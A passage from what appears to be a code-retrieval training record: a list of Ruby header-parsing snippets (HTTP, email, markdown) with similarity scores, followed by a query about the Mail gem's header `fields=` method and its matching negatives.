"def header_to_hash data\n header = {}\n data = data.split(@opts[:delimiter])\n self.req[\"Verb\"], self.req[\"Url\"], self.req[\"Version\"] = data.shift.split(\" \", 3)\n data.each do |line|\n k,v = line.split(\":\", 2)\n if !@opts[:header_bl] || !(HEADER_BLACKLIST.include? k)\n header[k] = v.lstrip\n end\n end\n header\n end",
"def parse(content_disposition, header = T.unsafe(nil)); end",
"def value\n @header.input.value.to_s.strip\n end",
"def header; end",
"def header; end",
"def header; end",
"def parse_header(line, opts = {})\n host = opts[:host]\n if host\n line = line.gsub(/^(Host:\\s+).*$/, \"\\\\1#{host}\")\n line = line.gsub(/^(Referer:\\s+https?:\\/\\/)[^\\/]*(.*)$/, \"\\\\1#{host}\\\\2\")\n end\n @headers << line\n line = line.downcase\n if line.start_with? 'content-length: '\n @content_length = line.gsub(/^\\S+\\s+(\\d+)\\s*$/, '\\1').to_i\n elsif line.start_with? 'transfer-encoding: '\n encodings = line.gsub(/^\\S+\\s+(.*)$/, '\\1')\n @transfer_encodings = encodings.split(/\\s*,\\s*/).map {|e| e.strip.to_sym}\n end\n end",
"def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"def transform_headers( str, rs )\n\t\t\[email protected] \" Transforming headers\"\n\n\t\t\t# Setext-style headers:\n\t\t\t#\t Header 1\n\t\t\t#\t ========\n\t\t\t#\n\t\t\t#\t Header 2\n\t\t\t#\t --------\n\t\t\t#\n\n\t\t\tsection_numbers = [nil, nil, nil, nil, nil]\n\n\t\t\tstr.\n\t\t\t\tgsub( HeaderRegexp ) {|m|\n\t\t\t\t\tif $1 then\n\t\t\t\t\t\[email protected] \"Found setext-style header\"\n\t\t\t\t\t\ttitle, id, hdrchar = $1, $2, $3\n\n\t\t\t\t\t\tcase hdrchar\n\t\t\t\t\t\twhen '='\n\t\t\t\t\t\t\tlevel = 1\n\t\t\t\t\t\twhen '-'\n\t\t\t\t\t\t\tlevel = 2\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] \"Found ATX-style header\"\n\t\t\t\t\t\thdrchars, title, id = $4, $5, $6\n\t\t\t\t\t\tlevel = hdrchars.length\n\n\t\t\t\t\t\tif level >= 7 then\n\t\t\t\t\t\t\trs.warnings << \"illegal header level - h#{level} ('#' symbols are too many)\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tprefix = ''\n\t\t\t\t\tif rs.numbering? then\n\t\t\t\t\t\tif level >= rs.numbering_start_level and level <= 6 then\n\t\t\t\t\t\t\tdepth = level - rs.numbering_start_level\n\n\t\t\t\t\t\t\tsection_numbers.each_index do |i|\n\t\t\t\t\t\t\t\tif i == depth and section_numbers[depth] then\n\t\t\t\t\t\t\t\t\t# increment a deepest number if current header's level equals last header's\n\t\t\t\t\t\t\t\t\tsection_numbers[i] += 1\n\t\t\t\t\t\t\t\telsif i <= depth then\n\t\t\t\t\t\t\t\t\t# set default number if nil\n\t\t\t\t\t\t\t\t\tsection_numbers[i] ||= 1\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t# clear discardeds\n\t\t\t\t\t\t\t\t\tsection_numbers[i] = nil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tno = ''\n\t\t\t\t\t\t\t(0..depth).each do |i|\n\t\t\t\t\t\t\t\tno << \"#{section_numbers[i]}.\"\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tprefix = \"#{no} \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle_html = apply_span_transforms( title, rs )\n\n\t\t\t\t\tunless id then\n\t\t\t\t\t\tcase rs.header_id_type\n\t\t\t\t\t\twhen HeaderIDType::ESCAPE\n\t\t\t\t\t\t\tid = escape_to_header_id(title_html)\n\t\t\t\t\t\t\tif rs.headers.find{|h| h.id == id} then\n\t\t\t\t\t\t\t\trs.warnings << \"header id collision - #{id}\"\n\t\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle = \"#{prefix}#{title}\"\n\t\t\t\t\ttitle_html = \"#{prefix}#{title_html}\"\n\n\n\t\t\t\t\tunless id =~ IdRegexp then\n\t\t\t\t\t\trs.warnings << \"illegal header id - #{id} (legal chars: [a-zA-Z0-9_-.] | 1st: [a-zA-Z])\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif rs.block_transform_depth == 1 then\n\t\t\t\t\t\trs.headers << RenderState::Header.new(id, level, title, title_html)\n\t\t\t\t\tend\n\n\t\t\t\t\tif @use_header_id then\n\t\t\t\t\t\t%{<h%d id=\"%s\">%s</h%d>\\n\\n} % [ level, id, title_html, level ]\n\t\t\t\t\telse\n\t\t\t\t\t\t%{<h%d>%s</h%d>\\n\\n} % [ level, title_html, level ]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\tend",
"def parse_header(module_name, source)\n cm_config = CMockConfig.new(nil)\n cm_parser = CMockHeaderParser.new(cm_config)\n cm_parser.parse(module_name, source)\nend",
"def find_header(header)\n {}.tap do |returning|\n contents.scan(header_with_content_regexp(header)).flatten.first.split(\"\\n\").each do |setting|\n name, value = *setting.split('=').map(&:strip)\n returning[name] = value\n end\n end\n end",
"def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend",
"def headers\n @headers ||= begin\n @mail.header.fields.inject({}) do |memo, field|\n name = field.name.downcase.to_s\n next memo if self.class.skipped_headers.include?(name)\n\n header = unquoted_header(name)\n memo.update(name => self.class.unescape(header))\n end\n end\n end",
"def raw_message\n @raw_message ||= \"#{raw_headers}\\r\\n\\r\\n#{raw_body}\"\n end",
"def headers\n end",
"def local_header_offset; end",
"def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end",
"def extract_headers_from(raw_headers)\n raw_headers.\n to_h.\n keep_if { |header, _value| pagination_headers.include?(header) }.\n transform_keys(&:to_sym).\n transform_values(&:to_i)\n end",
"def parsed_content_type_header; end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def header\n @version, @flags, @numStrikes = @bytes[0, 8].unpack('nnN')\n\n @strikeOffset = (0...@numStrikes).map do |n|\n start = 8 + n * 4\n @bytes[start, 4].unpack('N')[0]\n end\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end"
] |
[
"0.7179007",
"0.7106129",
"0.6977529",
"0.6897774",
"0.68092585",
"0.67463756",
"0.66546553",
"0.6648977",
"0.6598323",
"0.6574012",
"0.6519513",
"0.6510167",
"0.64424235",
"0.6424114",
"0.63725996",
"0.6344868",
"0.6344557",
"0.63307595",
"0.6322144",
"0.6309879",
"0.6275596",
"0.6233516",
"0.6185747",
"0.6176658",
"0.6175414",
"0.6175414",
"0.6175414",
"0.6175414",
"0.61382353",
"0.612485",
"0.61210775",
"0.6115156",
"0.61050016",
"0.61050016",
"0.61025506",
"0.60804594",
"0.6076142",
"0.60696405",
"0.6061553",
"0.604736",
"0.6008835",
"0.59848064",
"0.59817076",
"0.5971695",
"0.5965641",
"0.59651583",
"0.5963222",
"0.59574485",
"0.5952932",
"0.59482515",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.59266335",
"0.5915851",
"0.5910492",
"0.58993804",
"0.5872373",
"0.5872373",
"0.5864871",
"0.58461607",
"0.5845055",
"0.5828913",
"0.58192325",
"0.58175516",
"0.57989395",
"0.5790926",
"0.57735616",
"0.5765453",
"0.5764272",
"0.5748005",
"0.57337165",
"0.57255423",
"0.5718155",
"0.5718155",
"0.5718155",
"0.5705954",
"0.56950897",
"0.5687521",
"0.56827015",
"0.5676613",
"0.5674777",
"0.5665132",
"0.56601554",
"0.5653651",
"0.5637653",
"0.56355894",
"0.5622955",
"0.56169146",
"0.56141555",
"0.56138504",
"0.5613762"
] |
0.5784741
|
75
|
Returns an array of all the fields in the header in order that they were read in.
|
def fields
@fields ||= FieldList.new
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def header_fields\n header.fields\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def header_fields\n IO.binread(@path, HEADER_SIZE, 0).unpack(\"N5C1\")\n end",
"def getHeaderFieldNames\n\t\tend",
"def header_fields\n @csv.headers\n end",
"def fields\n @fields = headers.map.with_index do |header, index|\n Field.new(header, row_data[index])\n end\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def fields\n return @fields if @fields\n @file.rewind\n @fields = @file.gets.split(@separator).map &:strip\n end",
"def get_header_info\n @data.rewind\n \n #column_count_offset = 33, record_count_offset = 24, record_length_offset = 36\n @record_count, @data_offset, @record_length = data.read(HEADER_LENGTH).unpack(\"@24 I x4 I I\")\n @column_count = (@data_offset-400)/200\n end",
"def columns\n @header.to_a\n end",
"def header_array\n hash = get_headers \n arr = []\n hash.each do |k, v|\n\tv.each do |i|\n\tarr << k + \"=\" + i\n\tend\nend\n arr\nend",
"def headers\n @headers.to_a\n end",
"def headers\n @headers.to_a\n end",
"def postmark_headers\n array = []\n header_fields.each do |field|\n key = field.name.downcase\n # @see https://github.com/wildbit/postmark-gem/blob/master/lib/postmark/message_extensions/mail.rb#L74\n # @see https://github.com/wildbit/postmark-gem/pull/36#issuecomment-22298955\n unless %w(from to cc bcc reply-to subject tag content-type date).include?(key) || (Array === field.value && field.value.size > 1)\n array << {'Name' => field.name, 'Value' => field.value}\n end\n end\n array\n end",
"def record_fields\n record_format.values_at(:key, :sys, :row).flatten.sort_by(&:position) if record_format\n end",
"def fields\n fc = FFI::MemoryPointer.new(:uint)\n rc = NWRFCLib.get_field_count(@desc, fc, @error)\n NWRFC.check_error(@error) if rc > 0\n fc = fc.read_uint\n fd = NWRFCLib::RFCFieldDesc.new\n # Make a list of field names\n fc.times.inject([]) {|array, index|\n rc = NWRFCLib.get_field_desc_by_index(@desc, index, fd.to_ptr, @error.to_ptr)\n NWRFC.check_error(@error) if rc > 0\n #@todo WARNING! our get_str method did not handle getting the name of the RESPTEXT parameter in STFC_DEEP_TABLE correctly\n # As a workaround, we use our read_string_dn method; do we need to use this elsewhere?\n #array << fd[:name].get_str.to_sym #<-The code with good intentions\n array << fd[:name].to_ptr.read_string_dn.uC.to_sym #<- Workaround; the way of the future?\n }\n end",
"def field_names\r\n return @field_names\r\n end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def csv_file_header_array\n\t\tScreeningDatumUpdate.expected_column_names\n\tend",
"def read_headers!; end",
"def seperate_headers()\n\t\[email protected](\"\\n\\n\")[0].split(\"\\n\", 2)[1]\n\tend",
"def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end",
"def field_names\n internal_format.keys\n end",
"def all_fields\n fields = Set.new(@fields)\n @times.each {|entry| fields += entry.keys} unless fields.size > 0\n return fields.to_a.sort\n end",
"def get_rec_header!\n if @abca\n return [nil, nil] unless get_byte.between?(0x80, 0xbf)\n if @ofs == 0x11 or @data[@ofs-1].ord & 0x20 != 0\n get_node_type_and_version\n else\n get_node_type_and_version_abca\n end\n else\n return [nil, nil] unless get_byte == 0x80\n get_node_type_and_version\n end\n end",
"def fields\n @fields ||= @raw_message[1]\n end",
"def fields\n @fields.keys\n end",
"def fields\n @fields.keys\n end",
"def find_fields rowname\n row = row_by_name(rowname)\n fields = (row ? row.fields : [])\n # fill fields with nil to match header length\n # say header=5 fields=2 fill=2 (skip rowname)\n fields.fill(nil,fields.size,header.size-1-fields.size)\n end",
"def read_headers\n # @return [ActsAsTable::Headers::Array]\n headers = @row_model.to_headers\n\n # @return [Boolean]\n eof = false\n\n # @return [Array<Array<String>, nil>]\n rows = ::Array.new(headers.size) { |index|\n row, eof = *self.read_row\n\n unless row.nil?\n row += ::Array.new(headers[index].size - row.size) { nil }\n end\n\n row\n }\n\n if rows.any?(&:nil?)\n raise ActsAsTable::HeadersNotFound.new(\"#{self.class}#read_headers - must exist\")\n end\n\n unless [headers, rows].transpose.all? { |pair| pair[0] == pair[1] }\n raise ActsAsTable::InvalidHeaders.new(\"#{self.class}#read_headers - invalid\")\n end\n\n [rows, eof]\n end",
"def field_names\n fields.keys\n end",
"def headers\r\n # NB: return value is supposed to be an array of strings\r\n @headers || []\r\n end",
"def read_header(fp)\n tags = Support::HexString.from_bin(fp.read(1)).ord\n type = (tags & 0x70) >> 4\n size = tags & 0xF\n shift = 4\n while tags & 0x80 > 0\n tags = Support::HexString.from_bin(fp.read(1)).ord\n size += (tags & 0x7F) << shift\n shift += 7\n end\n [type, size]\n end",
"def read_header\n\t@bytes_to_be_read = 0\n\tread_mt_header_string(MThd_BYTE_ARRAY, @skip_init) # \"MThd\"\n\n\t@bytes_to_be_read = read32()\n\tformat = read16()\n\tntrks = read16()\n\tdivision = read16()\n\n\theader(format, ntrks, division)\n\n\t# Flush any extra stuff, in case the length of the header is not 6\n\tif @bytes_to_be_read > 0\n get_bytes(@bytes_to_be_read)\n @bytes_to_be_read = 0\n\tend\n\n\treturn ntrks\n end",
"def fields\n []\n end",
"def fields #:nodoc:\n f = @properties.to_a\n last = f.pop\n f.push @elements\n f.push last\n end",
"def get_field_names(template)\n read(template).fields.map{|f| f.name}\n end",
"def fields\n @fields ||= []\n end",
"def headers\n @headers ||= message.header_fields\n end",
"def fields\r\n @hash.keys\r\n end",
"def field_names\n jso.field_names\n end",
"def fields\n @fields ||= []\n end",
"def getHeaderFieldNames(schemaName)\n\t\tend",
"def headers\n @headers ||= next_row\n end",
"def headers\n begin\n JSON(data['message_headers'])\n rescue => e\n return []\n end\n end",
"def fields(reload = false)\n @fields = nil if reload\n \n table_keys = tables(reload).keys.map(&:to_s)\n @fields ||= table_keys.sort.map {|key| tables[key.to_sym].fields.sort }.flatten\n \n # @fields.sort! { |a,b| (a.seq||0) <=> (b.seq||0) }\n @fields\n end",
"def fields\n defined = @fields.select {|f| f.defined }\n defined.sort! {|a, b| a.order <=> b.order }\n defined = @fields if defined.empty?\n defined\n end",
"def header_array\n @columns.collect {|c|\n if @table[c]\n @table[c][:name].to_s\n else\n \"\"\n end\n }.compact\n end",
"def fields\n raw['fields']\n end",
"def headerlist; return ['X-MXL-NoteHash', 'X-MXL-Hash', 'X-MX-Bounce']; end",
"def get_headers\n headers = []\n @data.each do |druid, column_hash|\n headers << column_hash.keys\n end\n headers_out = headers.flatten.uniq\n end",
"def parse_header( data )\n k,v = data.split(\"\\0\", 2)\n return [k, v.delete(\"\\0\")]\n end",
"def arrange_representative_header header\n head={\"FIRST NAME\" => \"first_name\",\n \"LAST NAME\" => \"last_name\",\n \"EMAIL\" => \"email\",\n \"UIN\" => \"uin\",\n \"FULL ACADEMIC UNIT NAME\" => \"academic_unit_name\",\n \"COLLEGE\" => \"college\"\n }\n arranged_header=[]\n header.each do |k|\n arranged_header.push head[k]\n end\n return arranged_header\n end",
"def get_fields\n # vips_image_get_fields() was added in libvips 8.5\n return [] unless Vips.respond_to? :vips_image_get_fields\n\n array = Vips.vips_image_get_fields self\n\n names = []\n p = array\n until (q = p.read_pointer).null?\n names << q.read_string\n GLib.g_free q\n p += FFI::Type::POINTER.size\n end\n GLib.g_free array\n\n names\n end",
"def read_array_fields(cls, io_offset, length, signature)\n @io.seek io_offset # Move to the field data\n @io.read_bytes TYPE_SIZES_MAP[signature] * length\n end",
"def headers\n columns.map(&:header)\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def header_names headers\n header_names = []\n headers.each do |header|\n header_names.append header[:name]\n end\n header_names.join \",\"\nend",
"def print_item_header\n return keys\n end",
"def sorted_fields\n @sorted_fields ||= fields.sort_by {|tag, _| tag}\n end",
"def media_object_fields\n fields.select { |field| media_object_header?(field.header) }\n end",
"def fields\n form = @stamper.getAcroFields\n form.getFields.each_with_object({}) do |(name, value), fields|\n fields[name.to_sym] = form.getField(name)\n end\n end",
"def calculate_header\n headers = []\n height = 0\n @current_groups.each do |field, current_value|\n identifier_field = @sections[:groups][field.to_sym][:settings][:identifier_field] || nil\n value = ([email protected]_on_association(field).nil? and !identifier_field.nil?) ? @record.send(field.to_sym).send(identifier_field) : @record.send(field)\n\n if value != current_value\n reset_groups_values field\n\n headers << field.to_sym\n height += @sections[:groups][field.to_sym][:settings][:height] + @sections[:groups][field.to_sym][:settings][:posY]\n\n @current_groups[field] = value\n end\n end unless @current_groups.empty?\n\n [headers, height]\n end",
"def offset\n Array.new(headers.length, '')\n end",
"def headers\n schema.headers\n end",
"def csv_headers\n return @@csv_headers\n end",
"def fil_header\n @fil_header ||= cursor(pos_fil_header).name(\"fil_header\") do |c|\n {\n :checksum => c.name(\"checksum\") { c.get_uint32 },\n :offset => c.name(\"offset\") { c.get_uint32 },\n :prev => c.name(\"prev\") {\n Innodb::Page.maybe_undefined(c.get_uint32)\n },\n :next => c.name(\"next\") {\n Innodb::Page.maybe_undefined(c.get_uint32)\n },\n :lsn => c.name(\"lsn\") { c.get_uint64 },\n :type => c.name(\"type\") { PAGE_TYPE_BY_VALUE[c.get_uint16] },\n :flush_lsn => c.name(\"flush_lsn\") { c.get_uint64 },\n :space_id => c.name(\"space_id\") { c.get_uint32 },\n }\n end\n end",
"def headers\n schema.headers\n end",
"def headers\n schema.headers\n end",
"def headers\n schema.headers\n end",
"def field_names\n (@profile.keys - NON_PROFILE_FIELDS).sort\n end",
"def headers\n @attributes + @includes.values.flatten\n end",
"def get_fields\n return @fields if @fields\n return @fields = CICPHash.new unless has_tag\n ape_items = CICPHash.new\n offset = 0\n last_possible_item_start = tag_data.length - ApeItem::MIN_SIZE\n tag_item_count.times do\n raise ApeTagError, \"End of tag reached but more items specified\" if offset > last_possible_item_start\n item, offset = ApeItem.parse(tag_data, offset)\n raise ApeTagError, \"Multiple items with same key (#{item.key.inspect})\" if ape_items.include?(item.key)\n ape_items[item.key] = item\n end\n raise ApeTagError, \"Data remaining after specified number of items parsed\" if offset != tag_data.length\n @fields = ape_items\n end",
"def headers\n res = parsed_headers\n if has_delta?\n res.concat(delta_headers)\n end\n res\n end",
"def header_rows\n []\n end",
"def csv_header\n #empty by default\n []\n end",
"def csv_header\n #empty by default\n []\n end",
"def fields\n @fields\n end",
"def fields\n @fields\n end",
"def fields; h.fields; end",
"def get_ordered_headers\n headers = get_headers\n template_headers = get_template_headers\n ordered_headers = ['druid', 'sourceId']\n # Select only headers with values somewhere in the data\n template_headers.each {|th| ordered_headers << th if headers.include?(th)}\n ordered_headers\n end",
"def list_fields(table)\n @protocol.synchronize do\n begin\n @protocol.reset\n @protocol.send_packet Protocol::FieldListPacket.new(table)\n fields = []\n until Protocol.eof_packet?(data = @protocol.read)\n fields.push Field.new(Protocol::FieldPacket.parse(data))\n end\n return fields\n rescue ServerError => e\n @sqlstate = e.sqlstate\n raise\n end\n end\n end",
"def header_data\n\t\treturn self.normalized_headers.to_s\n\tend",
"def read_header\n @height = next_uint16 + 1\n puts \"Height: #{@height}\" if @verbose\n\n @width = next_uint16 + 1\n puts \"Width: #{@width}\" if @verbose\n\n @yoffset = next_uint16\n @xoffset = next_uint16\n puts \"Offsets: #{@xoffset}, #{@yoffset}\" if @verbose\n\n @xstart = next_int32\n @ystart = next_int32\n puts \"Start: #{@xstart}, #{@ystart}\" if @verbose\n\n @xend = next_int32\n @yend = next_int32\n\n puts \"End: #{@xend}, #{@yend}\" if @verbose\n end",
"def fields\n klass.members.map(&:to_sym)\n end",
"def headers\n return nil if sheet.header_rows.nil? || sheet.header_rows.zero?\n @data[ 0..sheet.header_rows-1 ]\n end",
"def fields\n return @fields if defined?(@fields)\n\n @fields = array_of_items_for(Fields, :fields)\n end",
"def get_field_list\n return make_request(\"#{self.endpoint}/list/fields\")\n end",
"def fields\n java_import org.dspace.content.MetadataField\n MetadataField.findAllInSchema(DSpace.context, @obj.getSchemaID)\n end",
"def column_header_names\r\n column_headers.collect {|header| header.name }\r\n end",
"def get_fields(template)\n read(template).fields\n end",
"def all_fields\n fields.values\n end",
"def transaction_summary_table_sub_headers\n _array = Array.new(0)\n transaction_summary_table_sub_header.each do |_th|\n Log.debug \"QALog: ============sub column name is - \" + _th.text() + \"============\"\n _array.push(_th.text())\n end\n return _array\n end",
"def headers\n @attributes[:headers]\n end",
"def data_with_head(columnheader)\r\n Array(raw_data_sheet.column(columnheaders_raw.index(columnheader)))\r\n end",
"def fields\n FIELDS\n end",
"def headers\n @headers ||= begin\n mail = Mail.new(self.raw_headers)\n mail.header.fields.each_with_object({}) do |field, hash|\n hash[field.name.downcase] ||= []\n hash[field.name.downcase] << field.decoded\n end\n end\n end",
"def keys\n fields.map { |f| f.name }\n end",
"def first\n header_data\n end",
"def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend",
"def fields\n FIELDS\n end"
] |
[
"0.764516",
"0.740656",
"0.7159083",
"0.7030511",
"0.6981399",
"0.6796104",
"0.67787886",
"0.66717446",
"0.65970594",
"0.6591688",
"0.6500536",
"0.64640874",
"0.64640874",
"0.6301887",
"0.6280385",
"0.6248019",
"0.62198037",
"0.6197492",
"0.61870223",
"0.6183988",
"0.6183541",
"0.6150944",
"0.6132408",
"0.60962707",
"0.60942036",
"0.606347",
"0.60602105",
"0.60602105",
"0.60583097",
"0.6055504",
"0.6033777",
"0.6031069",
"0.60166633",
"0.6006907",
"0.6002301",
"0.5995765",
"0.59600174",
"0.595579",
"0.59419525",
"0.59233105",
"0.59174126",
"0.5904796",
"0.5897001",
"0.58699524",
"0.5865893",
"0.5863052",
"0.5856533",
"0.5844262",
"0.5836866",
"0.5831295",
"0.58122236",
"0.58117676",
"0.58023304",
"0.580133",
"0.5792168",
"0.5787978",
"0.5785275",
"0.577477",
"0.5765907",
"0.575706",
"0.575657",
"0.57560056",
"0.57472616",
"0.57454556",
"0.57248586",
"0.5720176",
"0.5711658",
"0.5701584",
"0.5701584",
"0.5701584",
"0.56846493",
"0.5666578",
"0.56647205",
"0.5643698",
"0.56375694",
"0.56211114",
"0.56211114",
"0.5618636",
"0.5618636",
"0.56133425",
"0.561197",
"0.5609814",
"0.56027794",
"0.56006813",
"0.5598887",
"0.5588305",
"0.5577447",
"0.55710787",
"0.55656695",
"0.5558977",
"0.555726",
"0.5552707",
"0.55473214",
"0.5547124",
"0.5546043",
"0.5542953",
"0.55407965",
"0.553745",
"0.55368143",
"0.5533782",
"0.5531519"
] |
0.0
|
-1
|
3.6. Field definitions It is important to note that the header fields are not guaranteed to be in a particular order. They may appear in any order, and they have been known to be reordered occasionally when transported over the Internet. However, for the purposes of this standard, header fields SHOULD NOT be reordered when a message is transported or transformed. More importantly, the trace header fields and resent header fields MUST NOT be reordered, and SHOULD be kept in blocks prepended to the message. See sections 3.6.6 and 3.6.7 for more information. Populates the fields container with Field objects in the order it receives them in. Acceps an array of field string values, for example: h = Header.new
|
def fields=(unfolded_fields)
@fields = Mail::FieldList.new
Kernel.warn "WARNING: More than #{self.class.maximum_amount} header fields; only using the first #{self.class.maximum_amount} and ignoring the rest" if unfolded_fields.length > self.class.maximum_amount
unfolded_fields[0..(self.class.maximum_amount-1)].each do |field|
if field = Field.parse(field, charset)
if limited_field?(field.name) && (selected = select_field_for(field.name)) && selected.any?
selected.first.update(field.name, field.value)
else
@fields << field
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fields\n @fields = headers.map.with_index do |header, index|\n Field.new(header, row_data[index])\n end\n end",
"def header_fields\n header.fields\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def fields\n fc = FFI::MemoryPointer.new(:uint)\n rc = NWRFCLib.get_field_count(@desc, fc, @error)\n NWRFC.check_error(@error) if rc > 0\n fc = fc.read_uint\n fd = NWRFCLib::RFCFieldDesc.new\n # Make a list of field names\n fc.times.inject([]) {|array, index|\n rc = NWRFCLib.get_field_desc_by_index(@desc, index, fd.to_ptr, @error.to_ptr)\n NWRFC.check_error(@error) if rc > 0\n #@todo WARNING! our get_str method did not handle getting the name of the RESPTEXT parameter in STFC_DEEP_TABLE correctly\n # As a workaround, we use our read_string_dn method; do we need to use this elsewhere?\n #array << fd[:name].get_str.to_sym #<-The code with good intentions\n array << fd[:name].to_ptr.read_string_dn.uC.to_sym #<- Workaround; the way of the future?\n }\n end",
"def add(field, value)\n (@headers[downcased(field)] ||= []) << String(value)\n end",
"def fields\n @fields ||= @raw_message[1]\n end",
"def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def getHeaderFieldNames\n\t\tend",
"def header(*values)\n if values.empty?\n @properties.fetch(:header) { [] }\n else\n (@properties[:header] ||= []) << values\n end\n end",
"def header_fields\n IO.binread(@path, HEADER_SIZE, 0).unpack(\"N5C1\")\n end",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def method_missing(name, *args, &block)\n #:nodoc:\n # Only take the structured fields, as we could take _anything_ really\n # as it could become an optional field... \"but therin lies the dark side\"\n field_name = underscoreize(name).chomp(\"=\")\n if Mail::Field::KNOWN_FIELDS.include?(field_name)\n if args.empty?\n header[field_name]\n else\n header[field_name] = args.first\n end\n else\n super # otherwise pass it on\n end\n #:startdoc:\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def initialize\n @fields = []\n end",
"def set_fields(structure_hash)\r\n field_order = Array.new\r\n structure_hash[\"fields\"] = Hash.new\r\n \r\n structure_hash[\"fields\"][\"legal_first_name\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"legal_first_name\" } if field_order.push(\"legal_first_name\" )\r\n structure_hash[\"fields\"][\"legal_middle_name\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"legal_middle_name\" } if field_order.push(\"legal_middle_name\" )\r\n structure_hash[\"fields\"][\"legal_last_name\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"legal_last_name\" } if field_order.push(\"legal_last_name\" )\r\n structure_hash[\"fields\"][\"suffix\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"suffix\" } if field_order.push(\"suffix\" )\r\n structure_hash[\"fields\"][\"aka\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"aka\" } if field_order.push(\"aka\" )\r\n structure_hash[\"fields\"][\"insperity_name\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"insperity_name\" } if field_order.push(\"insperity_name\" )\r\n structure_hash[\"fields\"][\"ppid\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"ppid\" } if field_order.push(\"ppid\" )\r\n structure_hash[\"fields\"][\"ssn\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"ssn\" } if field_order.push(\"ssn\" )\r\n 